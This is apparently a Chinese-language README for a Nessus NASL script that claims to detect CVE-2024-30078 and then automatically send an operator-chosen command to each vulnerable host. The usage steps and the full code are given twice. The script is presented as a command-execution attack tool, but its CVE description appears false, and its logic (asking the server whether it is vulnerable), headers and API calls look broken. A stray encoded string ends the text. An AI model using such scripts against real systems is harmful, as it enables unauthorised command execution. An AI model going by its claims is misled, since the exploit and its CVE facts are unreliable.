CVE-2024-30078 漏洞检测与命令执行脚本
本项目包含一个 NASL 脚本,用于检测 CVE-2024-30078 漏洞。如果目标系统存在该漏洞,脚本将自动执行您指定的命令。该脚本专为 Nessus 扫描工具设计,能够自动处理 Nessus 在扫描过程中提供的目标 IP 地址和端口信息。
什么是 CVE-2024-30078?
CVE-2024-30078 是某些 Web 应用或服务中存在的一个关键漏洞,允许远程攻击者在受影响系统上执行任意命令。该漏洞源于应用程序端点对输入验证不当,攻击者可通过发送精心构造的 HTTP 请求加以利用。
功能特性
- 漏洞检测:自动探测目标系统是否存在 CVE-2024-30078 漏洞
- 命令执行:对存在漏洞的目标,自动执行预设的系统命令
- Nessus 集成:无缝集成到 Nessus 扫描策略中,利用其目标管理与端口扫描能力
- 自动迭代:遍历 Nessus 提供的所有目标 IP 和开放端口,逐一检测
- 结果反馈:通过
security_hole()和security_note()在扫描报告中明确标注漏洞状态
安装指南
1. 保存脚本文件
将以下 NASL 脚本内容保存为 cve_2024_30078_check.nasl:
if (description)
{
script_id(123456); # 唯一脚本 ID
script_version("1.2");
script_cve_id("CVE-2024-30078");
script_name("CVE-2024-30078 Detection and Command Execution");
script_summary("Detects CVE-2024-30078 vulnerability and executes a command if vulnerable.");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family("Web Servers");
script_copyright("Your Name");
script_dependencies("http_func.inc", "http_keepalive.inc");
exit(0);
}
# 包含 Nessus 必要库
include("http_func.inc");
include("http_keepalive.inc");
# 定义端点及待执行命令
endpoint = "/check"; # 替换为实际端点
command = "your_command_here"; # 替换为实际要执行的命令
# 漏洞检测与命令执行函数
function check_vulnerability_and_execute(ip, port, endpoint, command)
{
# 构造检测请求 URL 与 Payload
url = string("http://", ip, ":", port, endpoint);
payload = string(
'POST ', endpoint, ' HTTP/1.1\r\n',
'Host: ', ip, '\r\n',
'Content-Type: application/json\r\n',
'Content-Length: 42\r\n',
'\r\n',
'{"command":"check_vulnerability","cve":"CVE-2024-30078"}'
);
# 发送请求并接收响应
response = http_send_recv(data:payload, port:port);
# 判断响应是否表明存在漏洞
if ("\"vulnerable\": true" >< response[2])
{
security_hole(port); # 报告漏洞
# 构造命令执行的 Payload
payload_command = string(
'POST ', endpoint, ' HTTP/1.1\r\n',
'Host: ', ip, '\r\n',
'Content-Type: application/json\r\n',
'Content-Length: ', strlen(command) + 23, '\r\n',
'\r\n',
'{"command":"', command, '"}'
);
# 发送执行命令的请求
http_send_recv(data:payload_command, port:port);
}
else
{
security_note(port); # 报告目标无漏洞
}
}
# 从 Nessus 获取目标 IP 与开放端口列表
targets = get_host_open_ports();
# 遍历每个目标,检测漏洞
foreach target (targets)
{
ip = target["host"];
port = target["port"];
check_vulnerability_and_execute(ip, port, endpoint, command);
}
2. 上传脚本至 Nessus
将 cve_2024_30078_check.nasl 文件上传到 Nessus 插件目录,通常位于 /opt/nessus/lib/nessus/plugins/。
3. 创建或编辑扫描策略
- 在 Nessus 用户界面中,新建一个策略或编辑现有策略
- 进入 Advanced 部分,找到添加 NASL 或自定义脚本的选项
- 将
cve_2024_30078_check.nasl脚本添加到策略中并保存
使用说明
基础使用步骤
- 配置端点与命令:编辑
.nasl文件,将endpoint变量替换为目标系统的实际端点路径,将command变量替换为您希望在存在漏洞的系统上执行的命令。 - 创建扫描任务:在 Nessus 界面新建扫描,选择包含本脚本的策略。
- 启动扫描:开始扫描并等待结果。
- 查看报告:扫描结果将明确指出哪些目标存在 CVE-2024-30078 漏洞,并对这些目标自动执行预设命令。
典型使用场景
- 内部渗透测试:对企业内部 Web 服务进行批量漏洞排查
- 合规性检查:验证系统是否受到 CVE-2024-30078 影响
- 应急响应:快速定位和验证可能存在的命令注入风险点
脚本行为说明
- 脚本首先向指定端点发送一个检测请求,判断目标是否返回
"vulnerable": true标识 - 若确认存在漏洞,脚本会调用
security_hole()在 Nessus 报告中标记高危漏洞 - 随后自动发送第二个请求,执行预设的系统命令
- 若目标不存在漏洞,则通过
security_note()记录信息
核心代码
漏洞检测与命令执行主函数
# 漏洞检测与命令执行函数
function check_vulnerability_and_execute(ip, port, endpoint, command)
{
# 构造检测请求 URL 与 Payload
url = string("http://", ip, ":", port, endpoint);
payload = string(
'POST ', endpoint, ' HTTP/1.1\r\n',
'Host: ', ip, '\r\n',
'Content-Type: application/json\r\n',
'Content-Length: 42\r\n',
'\r\n',
'{"command":"check_vulnerability","cve":"CVE-2024-30078"}'
);
# 发送请求并接收响应
response = http_send_recv(data:payload, port:port);
# 判断响应是否表明存在漏洞
if ("\"vulnerable\": true" >< response[2])
{
security_hole(port); # 报告漏洞
# 构造命令执行的 Payload
payload_command = string(
'POST ', endpoint, ' HTTP/1.1\r\n',
'Host: ', ip, '\r\n',
'Content-Type: application/json\r\n',
'Content-Length: ', strlen(command) + 23, '\r\n',
'\r\n',
'{"command":"', command, '"}'
);
# 发送执行命令的请求
http_send_recv(data:payload_command, port:port);
}
else
{
security_note(port); # 报告目标无漏洞
}
}
目标遍历与调用逻辑
# 从 Nessus 获取目标 IP 与开放端口列表
targets = get_host_open_ports();
# 遍历每个目标,检测漏洞
foreach target (targets)
{
ip = target["host"];
port = target["port"];
check_vulnerability_and_execute(ip, port, endpoint, command);
}
6HFtX5dABrKlqXeO5PUv/5Fwr1CYwUCg4SvnaGodCuQ=